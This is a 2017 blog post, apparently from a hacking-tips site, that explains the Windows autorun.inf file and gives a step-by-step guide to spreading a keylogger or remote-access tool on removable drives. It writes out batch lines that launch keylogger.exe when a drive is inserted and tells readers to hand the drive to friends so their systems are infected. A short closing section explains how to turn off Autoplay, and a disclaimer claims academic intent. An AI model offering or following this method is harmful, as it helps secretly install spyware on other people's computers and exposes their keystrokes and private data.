Dec 25, 2017

What is Autorun.inf and how to use it? Autorun.inf Virus

What is Autorun.inf and how to use it? Autorun.inf Virus

Nowadays whenever you insert a USB drive to your computer you will release that a folder with a name ‘Autorun’ it is there I know a lot of people knew about it but they haven’t known its advantages and disadvantages and they have never asked themselves what is this? Ho created this? while others think that It was transferred from another computer due to sharing of one resource yes, of course, I agree with you but note it’s not only people’s computer that created such yours may be one of them so in This tutorial I am going to discuss using autorun.inf file to spread keylogger/rat via pen drive or another removable device. A detailed tutorial about autorun virus. Read this post carefully and don’t forget to leave your feedback comments below. In Windows XP it will automatically execute the instructions while in other versions of windows it will ask the user.

What is autorun.inf?

Autorun.inf file is a simple text file containing the list of instructions to be followed by the Operating System. Whenever a CD/USB is plugged in, the system searches for this autorun file, and if found it executes all the instructions present in this file.

Why it is used?

It is used to execute files automatically whenever a CD/USB is plugged in. It can also change the icon of the USB/cd drive.

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      1.      Creating autorun.inf:-
Open notepad and copy the following code to it.
Here autorun.bat is the file we want to execute when our CD/USB is inserted.
Anything.ico is the name of icon file we want to set to our CD/USB drive.

    2.      Creating autorun.bat:-
Copy the following code [Edit it accordingly]
@echo off
start /location of the keylogger
Ex 1 :- If it is saved in a folder named Rishabh which is present in the root directory of CD/USB. Then the code should be edited like this
@echo off
start rishabh/keylogger.exe
Ex 2 :- If the keylogger is placed in the root directory then the code should be like this :-
@echo off
start keylooger.exe
2.b) Save it as autorun.bat and place it in the root directory of the CD/USB.
3) Give this CD/USB to your friends and when they insert this in their systems, the will be infected with your keylooger.

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How to Disable Autorun

Go to RUN and type gpedit.msc and hit ok.
Browse to Computer Configuration >>Administrative Templates >> Windows Components >>Autoplay Policies.
3) In details pane, double-click Turn off Autoplay.
4) Click Enabled, and then select All drives in the Turn off Autoplay box to disable Autorun on all drives.

IMPORTANT NOTE:- This guide is for academic purposes solely, Use at your own risk. How to hack is not accountable for any sort of loss attributable to this information!!

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